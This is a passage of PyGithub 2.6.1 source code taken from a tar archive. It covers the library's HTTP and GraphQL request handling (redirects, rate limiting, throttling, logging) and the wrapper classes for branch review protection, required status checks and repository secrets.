""" return dict( auth=self.__auth, base_url=self.__base_url, timeout=self.__timeout, user_agent=self.__userAgent, per_page=self.per_page, verify=self.__verify, retry=self.__retry, pool_size=self.__pool_size, seconds_between_requests=self.__seconds_between_requests, seconds_between_writes=self.__seconds_between_writes, lazy=self.__lazy, ) @property def base_url(self) -> str: return self.__base_url @property def graphql_url(self) -> str: return self.__graphql_url @property def scheme(self) -> str: return self.__scheme @property def hostname(self) -> str: return self.__hostname @property def hostname_and_port(self) -> str: if self.__port is None: return self.hostname return f"{self.hostname}:{self.__port}" @property def auth(self) -> Optional["Auth"]: return self.__auth def withAuth(self, auth: Optional["Auth"]) -> "Requester": """ Create a new requester instance with identical configuration but the given authentication method. :param auth: authentication method :return: new Requester instance """ kwargs = self.kwargs kwargs.update(auth=auth) return Requester(**kwargs) @property def is_lazy(self) -> bool: return self.__lazy @property def is_not_lazy(self) -> bool: return not self.__lazy def withLazy(self, lazy: bool) -> "Requester": """ Create a new requester instance with identical configuration but the given lazy setting. :param lazy: completable objects created from this instance are lazy, as well as completable objects created from those, and so on :return: new Requester instance """ kwargs = self.kwargs kwargs.update(lazy=lazy) return Requester(**kwargs) def requestJsonAndCheck( self, verb: str, url: str, parameters: Optional[Dict[str, Any]] = None, headers: Optional[Dict[str, str]] = None, input: Optional[Any] = None, follow_302_redirect: bool = False, ) -> Tuple[Dict[str, Any], Any]: """ Send a request with JSON body. :param input: request body, serialized to JSON if specified :return: ``(headers: dict, JSON Response: Any)`` :raises: :class:`GithubException` for error status codes """ return self.__check( *self.requestJson( verb, url, parameters, headers, input, self.__customConnection(url), follow_302_redirect=follow_302_redirect, ) ) def requestMultipartAndCheck( self, verb: str, url: str, parameters: Optional[Dict[str, Any]] = None, headers: Optional[Dict[str, Any]] = None, input: Optional[Dict[str, str]] = None, ) -> Tuple[Dict[str, Any], Optional[Dict[str, Any]]]: """ Send a request with multi-part-encoded body. :param input: request body, will be multi-part encoded if specified :return: ``(headers: dict, JSON Response: Any)`` :raises: :class:`GithubException` for error status codes """ return self.__check(*self.requestMultipart(verb, url, parameters, headers, input, self.__customConnection(url))) def requestBlobAndCheck( self, verb: str, url: str, parameters: Optional[Dict[str, str]] = None, headers: Optional[Dict[str, str]] = None, input: Optional[str] = None, cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = None, ) -> Tuple[Dict[str, Any], Dict[str, Any]]: """ Send a request with a file for the body. :param input: path to a file to use for the request body :return: ``(headers: dict, JSON Response: Any)`` :raises: :class:`GithubException` for error status codes """ return self.__check(*self.requestBlob(verb, url, parameters, headers, input, self.__customConnection(url))) def graphql_query(self, query: str, variables: Dict[str, Any]) -> Tuple[Dict[str, Any], Dict[str, Any]]: """ :calls: `POST /graphql `_ """ input_ = {"query": query, "variables": variables} response_headers, data = self.requestJsonAndCheck("POST", self.graphql_url, input=input_) if "errors" in data: if len(data["errors"]) == 1: error = data["errors"][0] if error.get("type") == "NOT_FOUND": raise github.UnknownObjectException(404, data, response_headers, error.get("message")) raise self.createException(400, response_headers, data) return response_headers, data @classmethod def paths_of_dict(cls, d: dict) -> dict: return {key: cls.paths_of_dict(val) if isinstance(val, dict) else None for key, val in d.items()} def data_as_class( self, headers: Dict[str, Any], data: Dict[str, Any], data_path: List[str], klass: Type[T_gh] ) -> T_gh: for item in data_path: if item not in data: raise RuntimeError(f"GraphQL path {data_path} not found in data: {self.paths_of_dict(data)}") data = data[item] if klass.is_rest(): data = as_rest_api_attributes(data) return klass(self, headers, data) def graphql_node(self, node_id: str, graphql_schema: str, node_type: str) -> Tuple[Dict[str, Any], Dict[str, Any]]: """ :calls: `POST /graphql `_ """ if not graphql_schema.startswith("\n"): graphql_schema = f" {graphql_schema} " query = ( """ query Q($id: ID!) { node(id: $id) { __typename ... on """ + f"{node_type} {{{graphql_schema}}}" + """ } } """ ) headers, data = self.graphql_query(query, {"id": node_id}) actual_node_type = data.get("data", {}).get("node", {}).get("__typename", node_type) if actual_node_type != node_type: raise github.GithubException( 400, data, message=f"Retrieved {node_type} object is of different type: {actual_node_type}", ) return headers, data def graphql_node_class( self, node_id: str, graphql_schema: str, klass: Type[T_gh], node_type: Optional[str] = None ) -> T_gh: """ :calls: `POST /graphql `_ """ if node_type is None: node_type = klass.__name__ headers, data = self.graphql_node(node_id, graphql_schema, node_type) return self.data_as_class(headers, data, ["data", "node"], klass) def graphql_query_class( self, query: str, variables: Dict[str, Any], data_path: List[str], klass: Type[T_gh] ) -> T_gh: """ :calls: `POST /graphql `_ """ headers, data = self.graphql_query(query, variables) return self.data_as_class(headers, data, ["data"] + data_path, klass) def graphql_named_mutation( self, mutation_name: str, mutation_input: Dict[str, Any], output_schema: str ) -> Tuple[Dict[str, Any], Dict[str, Any]]: """ Create a mutation in the format: mutation Mutation($input: MutationNameInput!) { mutationName(input: $input) { } } and call the self.graphql_query method. Returns the response data according to given output schema. """ mutation_input_name = mutation_name[:1].upper() + mutation_name[1:] + "Input!" query = f"mutation Mutation($input: {mutation_input_name}) {{ {mutation_name}(input: $input) {{ {output_schema} }} }}" headers, data = self.graphql_query(query, {"input": mutation_input}) return headers, data.get("data", {}).get(mutation_name, {}) def graphql_named_mutation_class( self, mutation_name: str, mutation_input: Dict[str, Any], output_schema: str, item: str, klass: Type[T_gh] ) -> T_gh: """ Executes a mutation and returns the output object as the given GithubObject. See {@link graphql_named_mutation}. """ headers, data = self.graphql_named_mutation(mutation_name, mutation_input, output_schema) return self.data_as_class(headers, data, [item], klass) def __check( self, status: int, responseHeaders: Dict[str, Any], output: str, ) -> Tuple[Dict[str, Any], Any]: data = self.__structuredFromJson(output) if status >= 400: raise self.createException(status, responseHeaders, data) return responseHeaders, data def __customConnection( self, url: str ) -> Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]]: cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = None if not url.startswith("/"): o = urllib.parse.urlparse(url) if ( o.hostname != self.__hostname or (o.port and o.port != self.__port) or (o.scheme != self.__scheme and not (o.scheme == "https" and self.__scheme == "http")) ): # issue80 if o.scheme == "http": cnx = self.__httpConnectionClass( o.hostname, # type: ignore o.port, retry=self.__retry, pool_size=self.__pool_size, ) self.__custom_connections.append(cnx) elif o.scheme == "https": cnx = self.__httpsConnectionClass( o.hostname, # type: ignore o.port, retry=self.__retry, pool_size=self.__pool_size, ) self.__custom_connections.append(cnx) return cnx @classmethod def createException( cls, status: int, headers: Dict[str, Any], output: Dict[str, Any], ) -> GithubException.GithubException: message = output.get("message") if output else None lc_message = message.lower() if message else "" msg = None exc = GithubException.GithubException if status == 401 and lc_message == "bad credentials": exc = GithubException.BadCredentialsException elif status == 401 and Consts.headerOTP in headers and re.match(r".*required.*", headers[Consts.headerOTP]): exc = GithubException.TwoFactorException elif status == 403 and lc_message.startswith("missing or invalid user agent string"): exc = GithubException.BadUserAgentException elif status == 403 and cls.isRateLimitError(lc_message): exc = GithubException.RateLimitExceededException elif status == 404 and (lc_message == "not found" or "no object found" in lc_message): exc = GithubException.UnknownObjectException else: # for general GithubException, provide the actual message msg = message return exc(status, output, headers, msg) @classmethod def isRateLimitError(cls, message: str) -> bool: return cls.isPrimaryRateLimitError(message) or cls.isSecondaryRateLimitError(message) @classmethod def isPrimaryRateLimitError(cls, message: str) -> bool: if not message: return False message = message.lower() return message.startswith("api rate limit exceeded") @classmethod def isSecondaryRateLimitError(cls, message: str) -> bool: if not message: return False message = message.lower() return ( message.startswith("you have exceeded a secondary rate limit") or message.endswith("please retry your request again later.") or message.endswith("please wait a few minutes before you try again.") ) def __structuredFromJson(self, data: str) -> Any: if len(data) == 0: return None else: if isinstance(data, bytes): data = data.decode("utf-8") try: return json.loads(data) except ValueError: if data.startswith("{") or data.startswith("["): raise return {"data": data} def getFile( self, url: str, path: str, parameters: Optional[Dict[str, Any]] = None, headers: Optional[Dict[str, str]] = None, cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = None, chunk_size: Optional[Union[int, None]] = 1, ) -> None: """ GET a file from the server and save it to the given path, which includes the filename. """ _, _, stream_chunk_iterator = self.getStream(url, parameters, headers, cnx, chunk_size=chunk_size) with open(path, "wb") as f: for chunk in stream_chunk_iterator: if chunk: f.write(chunk) def getStream( self, url: str, parameters: Optional[Dict[str, Any]] = None, headers: Optional[Dict[str, str]] = None, cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = None, chunk_size: Optional[Union[int, None]] = 1, ) -> Tuple[int, Dict[str, Any], Iterator]: """ GET a stream from the server. :returns:``(status, headers, stream_chunk_iterator)`` """ if headers is None: headers = {} headers["Accept"] = "application/octet-stream" def encode(_: Any) -> Tuple[str, str]: return "", "" status, responseHeaders, output = self.__requestEncode( cnx, "GET", url, parameters, headers, None, encode, stream=True, follow_302_redirect=True ) if isinstance(output, RequestsResponse) or ( hasattr(output, "iter_content") and hasattr(output, "raise_for_status") ): output.raise_for_status() return status, responseHeaders, output.iter_content(chunk_size=chunk_size) raise TypeError(f"Expected a RequestsResponse object: {type(output)}") def requestJson( self, verb: str, url: str, parameters: Optional[Dict[str, Any]] = None, headers: Optional[Dict[str, Any]] = None, input: Optional[Any] = None, cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = None, follow_302_redirect: bool = False, ) -> Tuple[int, Dict[str, Any], str]: """ Send a request with JSON input. :param input: request body, will be serialized as JSON :returns:``(status, headers, body)`` """ def encode(input: Any) -> Tuple[str, str]: return "application/json", json.dumps(input) status, responseHeaders, output = self.__requestEncode( cnx, verb, url, parameters, headers, input, encode, follow_302_redirect=follow_302_redirect ) if isinstance(output, str): return status, responseHeaders, output raise ValueError("requestJson() Expected a str, should never happen") def requestMultipart( self, verb: str, url: str, parameters: Optional[Dict[str, Any]] = None, headers: Optional[Dict[str, Any]] = None, input: Optional[Dict[str, str]] = None, cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = None, ) -> Tuple[int, Dict[str, Any], str]: """ Send a request with multi-part encoding. :param input: request body, will be serialized as multipart form data :returns:``(status, headers, body)`` """ def encode(input: Dict[str, Any]) -> Tuple[str, str]: boundary = "----------------------------3c3ba8b523b2" eol = "\r\n" encoded_input = "" for name, value in input.items(): encoded_input += f"--{boundary}{eol}" encoded_input += f'Content-Disposition: form-data; name="{name}"{eol}' encoded_input += eol encoded_input += value + eol encoded_input += f"--{boundary}--{eol}" return f"multipart/form-data; boundary={boundary}", encoded_input status, responseHeaders, output = self.__requestEncode(cnx, verb, url, parameters, headers, input, encode) if isinstance(output, str): return status, responseHeaders, output raise ValueError("requestMultipart() Expected a str, should never happen") def requestBlob( self, verb: str, url: str, parameters: Optional[Dict[str, str]] = None, headers: Optional[Dict[str, str]] = None, input: Optional[str] = None, cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = None, ) -> Tuple[int, Dict[str, Any], str]: """ Send a request with a file as request body. :param input: path to a local file to use for request body :returns:``(status, headers, body)`` """ if headers is None: headers = {} def encode(local_path: str) -> Tuple[str, Any]: if "Content-Type" in headers: # type: ignore mime_type = headers["Content-Type"] # type: ignore else: guessed_type = mimetypes.guess_type(local_path) mime_type = guessed_type[0] if guessed_type[0] is not None else Consts.defaultMediaType f = open(local_path, "rb") return mime_type, f if input: headers["Content-Length"] = str(os.path.getsize(input)) status, responseHeaders, output = self.__requestEncode(cnx, verb, url, parameters, headers, input, encode) if isinstance(output, str): return status, responseHeaders, output raise ValueError("requestBlob() Expected a str, should never happen") def requestMemoryBlobAndCheck( self, verb: str, url: str, parameters: Any, headers: Dict[str, Any], file_like: BinaryIO, cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = None, ) -> Tuple[Dict[str, Any], Any]: """ Send a request with a binary file-like for the body. :param file_like: file-like object to use for the request body :return: ``(headers: dict, JSON Response: Any)`` :raises: :class:`GithubException` for error status codes """ # The expected signature of encode means that the argument is ignored. def encode(_: Any) -> Tuple[str, Any]: return headers["Content-Type"], file_like if not cnx: cnx = self.__customConnection(url) status, responseHeaders, output = self.__requestEncode(cnx, verb, url, parameters, headers, file_like, encode) if isinstance(output, str): return self.__check(status, responseHeaders, output) raise ValueError("requestMemoryBlobAndCheck() Expected a str, should never happen") def __requestEncode( self, cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]], verb: str, url: str, parameters: Optional[Dict[str, str]], requestHeaders: Optional[Dict[str, str]], input: Optional[T], encode: Callable[[T], Tuple[str, Any]], stream: bool = False, follow_302_redirect: bool = False, ) -> Tuple[int, Dict[str, Any], Union[str, object]]: assert verb in ["HEAD", "GET", "POST", "PATCH", "PUT", "DELETE"] if parameters is None: parameters = {} if requestHeaders is None: requestHeaders = {} if self.__auth is not None: self.__auth.authentication(requestHeaders) requestHeaders["User-Agent"] = self.__userAgent url = self.__makeAbsoluteUrl(url) url = Requester.add_parameters_to_url(url, parameters) encoded_input = None if input is not None: requestHeaders["Content-Type"], encoded_input = encode(input) self.NEW_DEBUG_FRAME(requestHeaders) status, responseHeaders, output = self.__requestRaw( cnx, verb, url, requestHeaders, encoded_input, stream=stream, follow_302_redirect=follow_302_redirect ) if Consts.headerRateRemaining in responseHeaders and Consts.headerRateLimit in responseHeaders: self.rate_limiting = ( # ints expected but sometimes floats returned: https://github.com/PyGithub/PyGithub/pull/2697 int(float(responseHeaders[Consts.headerRateRemaining])), int(float(responseHeaders[Consts.headerRateLimit])), ) if Consts.headerRateReset in responseHeaders: # ints expected but sometimes floats returned: https://github.com/PyGithub/PyGithub/pull/2697 self.rate_limiting_resettime = int(float(responseHeaders[Consts.headerRateReset])) if Consts.headerOAuthScopes in responseHeaders: self.oauth_scopes = responseHeaders[Consts.headerOAuthScopes].split(", ") self.DEBUG_ON_RESPONSE(status, responseHeaders, output if isinstance(output, str) else "stream") return status, responseHeaders, output def __requestRaw( self, cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]], verb: str, url: str, requestHeaders: Dict[str, str], input: Optional[Any], stream: bool = False, follow_302_redirect: bool = False, ) -> Tuple[int, Dict[str, Any], Union[str, object]]: self.__deferRequest(verb) try: original_cnx = cnx if cnx is None: cnx = self.__createConnection() cnx.request(verb, url, input, requestHeaders, stream) response = cnx.getresponse() output = response if stream else response.read() status = response.status responseHeaders = {k.lower(): v for k, v in response.getheaders()} if input: if isinstance(input, IOBase): input.close() self.__log(verb, url, requestHeaders, input, status, responseHeaders, output) if status == 202 and ( verb == "GET" or verb == "HEAD" ): # only for requests that are considered 'safe' in RFC 2616 time.sleep(Consts.PROCESSING_202_WAIT_TIME) return self.__requestRaw(original_cnx, verb, url, requestHeaders, input, stream=stream) if status == 301 and "location" in responseHeaders: location = responseHeaders["location"] o = urllib.parse.urlparse(location) if o.scheme != self.__scheme: raise RuntimeError( f"Github server redirected from {self.__scheme} protocol to {o.scheme}, " f"please correct your Github server URL via base_url: Github(base_url=...)" ) if o.hostname != self.__hostname: raise RuntimeError( f"Github server redirected from host {self.__hostname} to {o.hostname}, " f"please correct your Github server URL via base_url: Github(base_url=...)" ) if o.path == url: port = ":" + str(self.__port) if self.__port is not None else "" requested_location = f"{self.__scheme}://{self.__hostname}{port}{url}" raise RuntimeError( f"Requested {requested_location} but server redirected to {location}, " f"you may need to correct your Github server URL " f"via base_url: Github(base_url=...)" ) if self._logger.isEnabledFor(logging.INFO): self._logger.info(f"Following Github server redirection from {url} to {o.path}") return self.__requestRaw(original_cnx, verb, o.path, requestHeaders, input, stream=stream) if status == 302 and follow_302_redirect and "location" in responseHeaders: location = responseHeaders["location"] o = urllib.parse.urlparse(location) cnx = self.__customConnection(location) path = self.__makeAbsoluteUrl(location) if self._logger.isEnabledFor(logging.DEBUG): self._logger.debug(f"Following Github server redirection (302) from {url} to {o.path}") # remove auth to not leak authentication to redirection location if o.hostname != self.__hostname: del requestHeaders["Authorization"] return self.__requestRaw( cnx, verb, path, requestHeaders, input, stream=stream, follow_302_redirect=True ) return status, responseHeaders, output finally: # we record the time of this request after it finished # to defer next request starting from this request's end, not start self.__recordRequestTime(verb) def __deferRequest(self, verb: str) -> None: # Ensures at least self.__seconds_between_requests seconds have passed since any last request # and self.__seconds_between_writes seconds have passed since last write request (if verb refers to a write). # Uses self.__last_requests. requests = self.__last_requests.values() writes = [l for v, l in self.__last_requests.items() if v != "GET"] last_request = max(requests) if requests else 0 last_write = max(writes) if writes else 0 next_request = (last_request + self.__seconds_between_requests) if self.__seconds_between_requests else 0 next_write = (last_write + self.__seconds_between_writes) if self.__seconds_between_writes else 0 next = next_request if verb == "GET" else max(next_request, next_write) defer = max(next - datetime.now(timezone.utc).timestamp(), 0) if defer > 0: if self.__logger is None: self.__logger = logging.getLogger(__name__) self.__logger.debug(f"sleeping {defer}s before next GitHub request") time.sleep(defer) def __recordRequestTime(self, verb: str) -> None: # Updates self.__last_requests with current timestamp for given verb self.__last_requests[verb] = datetime.now(timezone.utc).timestamp() def __makeAbsoluteUrl(self, url: str) -> str: # URLs generated locally will be relative to __base_url # URLs returned from the server will start with __base_url if url.startswith("/"): url = f"{self.__prefix}{url}" else: o = urllib.parse.urlparse(url) assert o.hostname in [ self.__hostname, "uploads.github.com", "status.github.com", "github.com", "objects.githubusercontent.com", ], o.hostname assert o.path.startswith((self.__prefix, self.__graphql_prefix, "/api/", "/login/oauth")), o.path assert o.port == self.__port, o.port url = o.path if o.query != "": url += f"?{o.query}" return url def __createConnection( self, hostname: Optional[str] = None ) -> Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]: if self.__persist and self.__connection is not None and hostname is not None and hostname == self.__hostname: return self.__connection with self.__connection_lock: if self.__connection is not None and hostname is not None and hostname == self.__hostname: if self.__persist: return self.__connection if self.__connection is not None: self.__connection.close() self.__connection = None self.__connection = self.__connectionClass( hostname if hostname is not None else self.__hostname, self.__port, retry=self.__retry, pool_size=self.__pool_size, timeout=self.__timeout, verify=self.__verify, ) return self.__connection @property def _logger(self) -> logging.Logger: if self.__logger is None: self.__logger = logging.getLogger(__name__) return self.__logger def __log( self, verb: str, url: str, requestHeaders: Dict[str, str], input: Optional[Any], status: Optional[int], responseHeaders: Dict[str, Any], output: Optional[Union[str, object]], ) -> None: if self._logger.isEnabledFor(logging.DEBUG): headersForRequest = requestHeaders.copy() if self.__auth: self.__auth.mask_authentication(headersForRequest) self._logger.debug( "%s %s://%s%s %s %s ==> %i %s %s", verb, self.__scheme, self.__hostname, url, headersForRequest, input, status, responseHeaders, output if isinstance(output, str) else "stream", ) class WithRequester(Generic[T]): """ Mixin class that allows to set a requester. """ __requester: Requester def __init__(self) -> None: self.__requester: Optional[Requester] = None # type: ignore @property def requester(self) -> Requester: return self.__requester def withRequester(self, requester: Requester) -> "WithRequester[T]": assert isinstance(requester, Requester), requester self.__requester = requester return self ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/RequiredPullRequestReviews.py0000644000175100001660000001703014756101563022156 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Jannis Gebauer # # Copyright 2017 Simon # # Copyright 2018 Steve Kowalik # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Benjamin K <53038537+treee111@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.NamedUser import github.Team from github.GithubObject import Attribute, CompletableGithubObject, NotSet if TYPE_CHECKING: from github.NamedUser import NamedUser from github.Team import Team class RequiredPullRequestReviews(CompletableGithubObject): """ This class represents Required Pull Request Reviews. The reference can be found here https://docs.github.com/en/rest/reference/repos#get-pull-request-review-protection The OpenAPI schema can be found at - /components/schemas/protected-branch-pull-request-review - /components/schemas/protected-branch/properties/required_pull_request_reviews """ def _initAttributes(self) -> None: self._dismiss_stale_reviews: Attribute[bool] = NotSet self._require_code_owner_reviews: Attribute[bool] = NotSet self._require_last_push_approval: Attribute[bool] = NotSet self._required_approving_review_count: Attribute[int] = NotSet self._teams: Attribute[list[Team]] = NotSet self._users: Attribute[list[NamedUser]] = NotSet def __repr__(self) -> str: return self.get__repr__( { "url": self._url.value, "dismiss_stale_reviews": self._dismiss_stale_reviews.value, "require_code_owner_reviews": self._require_code_owner_reviews.value, "require_last_push_approval": self._require_last_push_approval.value, } ) @property def dismiss_stale_reviews(self) -> bool: self._completeIfNotSet(self._dismiss_stale_reviews) return self._dismiss_stale_reviews.value @property def dismissal_teams(self) -> list[Team]: self._completeIfNotSet(self._teams) return self._teams.value @property def dismissal_users(self) -> list[NamedUser]: self._completeIfNotSet(self._users) return self._users.value @property def require_code_owner_reviews(self) -> bool: self._completeIfNotSet(self._require_code_owner_reviews) return self._require_code_owner_reviews.value @property def require_last_push_approval(self) -> bool: self._completeIfNotSet(self._require_last_push_approval) return self._require_last_push_approval.value @property def required_approving_review_count(self) -> int: self._completeIfNotSet(self._required_approving_review_count) return self._required_approving_review_count.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "dismiss_stale_reviews" in attributes: # pragma no branch self._dismiss_stale_reviews = self._makeBoolAttribute(attributes["dismiss_stale_reviews"]) if "dismissal_restrictions" in attributes: # pragma no branch if "users" in attributes["dismissal_restrictions"]: self._users = self._makeListOfClassesAttribute( github.NamedUser.NamedUser, attributes["dismissal_restrictions"]["users"], ) if "teams" in attributes["dismissal_restrictions"]: # pragma no branch self._teams = self._makeListOfClassesAttribute( github.Team.Team, attributes["dismissal_restrictions"]["teams"] ) if "require_code_owner_reviews" in attributes: # pragma no branch self._require_code_owner_reviews = self._makeBoolAttribute(attributes["require_code_owner_reviews"]) if "require_last_push_approval" in attributes: # pragma no branch self._require_last_push_approval = self._makeBoolAttribute(attributes["require_last_push_approval"]) if "required_approving_review_count" in attributes: # pragma no branch self._required_approving_review_count = self._makeIntAttribute( attributes["required_approving_review_count"] ) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/RequiredStatusChecks.py0000644000175100001660000001154614756101563020736 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any from github.GithubObject import Attribute, CompletableGithubObject, NotSet class RequiredStatusChecks(CompletableGithubObject): """ This class represents Required Status Checks. The reference can be found here https://docs.github.com/en/rest/reference/repos#get-status-checks-protection The OpenAPI schema can be found at - /components/schemas/protected-branch-pull-request-review - /components/schemas/protected-branch-required-status-check - /components/schemas/status-check-policy """ def _initAttributes(self) -> None: self._contexts: Attribute[list[str]] = NotSet self._strict: Attribute[bool] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"strict": self._strict.value, "url": self._url.value}) @property def contexts(self) -> list[str]: self._completeIfNotSet(self._contexts) return self._contexts.value @property def strict(self) -> bool: self._completeIfNotSet(self._strict) return self._strict.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "contexts" in attributes: # pragma no branch self._contexts = self._makeListOfStringsAttribute(attributes["contexts"]) if "strict" in attributes: # pragma no branch self._strict = self._makeBoolAttribute(attributes["strict"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Secret.py0000644000175100001660000001315514756101563016054 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # # Copyright 2023 Enrico Minack # # Copyright 2023 Mauricio Alejandro Martínez Pacheco # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime from typing import Any, Dict from github.GithubObject import Attribute, CompletableGithubObject, NotSet class Secret(CompletableGithubObject): """ This class represents a GitHub secret. The reference can be found here https://docs.github.com/en/rest/actions/secrets """ def _initAttributes(self) -> None: self._created_at: Attribute[datetime] = NotSet self._name: Attribute[str] = NotSet self._secrets_url: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self.name}) @property def created_at(self) -> datetime: """ :type: datetime.datetime """ self._completeIfNotSet(self._created_at) return self._created_at.value @property def name(self) -> str: """ :type: string """ self._completeIfNotSet(self._name) return self._name.value @property def secrets_url(self) -> str: """ :type: string """ return self._secrets_url.value @property def updated_at(self) -> datetime: """ :type: datetime.datetime """ self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: """ :type: string """ # Construct url from secrets_url and name, if self._url. is not set if self._url is NotSet: self._url = self._makeStringAttribute(self.secrets_url + "/" + self.name) return self._url.value def delete(self) -> None: """ :calls: `DELETE {secret_url} `_ :rtype: None """ self._requester.requestJsonAndCheck("DELETE", self.url) def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "created_at" in attributes: self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "name" in attributes: self._name = self._makeStringAttribute(attributes["name"]) if "secrets_url" in attributes: self._secrets_url = self._makeStringAttribute(attributes["secrets_url"]) if "updated_at" in attributes: self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/SecurityAndAnalysis.py0000644000175100001660000001776214756101563020575 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Nikolay Yurin # # 